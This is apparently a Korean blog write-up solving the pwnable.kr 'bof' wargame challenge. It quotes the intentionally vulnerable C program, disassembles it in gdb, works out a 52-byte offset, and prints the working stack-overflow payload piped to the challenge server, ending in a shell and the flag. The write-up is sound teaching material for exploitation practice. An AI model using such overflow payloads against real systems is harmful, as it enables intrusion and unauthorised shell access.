pwnable.kr bof

pwnable.kr bof Writeup

pwnable.kr bof 의 풀이입니다.

Nana told me that buffer overflow is one of the most common software vulnerability.
Is that true?

Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.c

Running at : nc pwnable.kr 9000

bof 문제라고 합니다.

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}

key에 0xdeadbeef가 들어가게 되고 이를 0xcafebabe로 덮어쓰면 문제가 풀리겠군요.

gets로 입력을 받는 것을 확인할 수 있는데, gets 함수는 입력제한을 하지 않기 때문에 배열 overflowme의 32바이트를 넘어 key의 값을 덮어 쓸 수 있을 것입니다.
덮어쓰기 위해서 우선 key와 overflowme 사이의 거리를 구해야 합니다.

gdb-peda$ disas func
Dump of assembler code for function func:
0x0000062c <+0>: push ebp
0x0000062d <+1>: mov ebp,esp
0x0000062f <+3>: sub esp,0x48
0x00000632 <+6>: mov eax,gs:0x14
0x00000638 <+12>: mov DWORD PTR [ebp-0xc],eax
0x0000063b <+15>: xor eax,eax
0x0000063d <+17>: mov DWORD PTR [esp],0x78c
0x00000644 <+24>: call 0x645 <func+25>
0x00000649 <+29>: lea eax,[ebp-0x2c]
0x0000064c <+32>: mov DWORD PTR [esp],eax
0x0000064f <+35>: call 0x650 <func+36>
0x00000654 <+40>: cmp DWORD PTR [ebp+0x8],0xcafebabe
0x0000065b <+47>: jne 0x66b <func+63>
0x0000065d <+49>: mov DWORD PTR [esp],0x79b
0x00000664 <+56>: call 0x665 <func+57>
0x00000669 <+61>: jmp 0x677 <func+75>
0x0000066b <+63>: mov DWORD PTR [esp],0x7a3
0x00000672 <+70>: call 0x673 <func+71>
0x00000677 <+75>: mov eax,DWORD PTR [ebp-0xc]
0x0000067a <+78>: xor eax,DWORD PTR gs:0x14
0x00000681 <+85>: je 0x688 <func+92>
0x00000683 <+87>: call 0x684 <func+88>
0x00000688 <+92>: leave
0x00000689 <+93>: ret
End of assembler dump.
gdb-peda$

key는 ebp+0x8에 있습니다. 심볼은 날아가 있어 무슨 함수를 call 했는지 알 수 없습니다.
브레이크 걸어가며 분석하는게 맞겠지만, 우리에겐 소스가 주어졌기에 첫 call은 printf, 그다음은 gets라고 때려 맞춰볼 수 있겠군요.

0x00000649 <+29>:	lea    eax,[ebp-0x2c]
0x0000064c <+32>: mov DWORD PTR [esp],eax
0x0000064f <+35>: call 0x650 <func+36>

overflowme의 위치는 ebp-0x2c가 되겠군요.

overflowme[32]
dummy[12]
ebp+ret[8]
key[4]

스택을 나타낸다면 위와 같을 것이고, overflowme와 key 사이의 거리는 52byte 라는 것을 알 수 있습니다.
페이로드는 ‘(dummy)52byte + 0xcafebabe’가 되겠군요.

Solve

cutlass@MacBook-Pro ~> (python -c 'print "A"*52 + "\xbe\xba\xfe\xca"'; cat) | nc pwnable.kr 9000
ls
bof
bof.c
flag
log
log2
super.pl
cat flag
daddy, I just pwned a buFFer :)
Total views

댓글

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×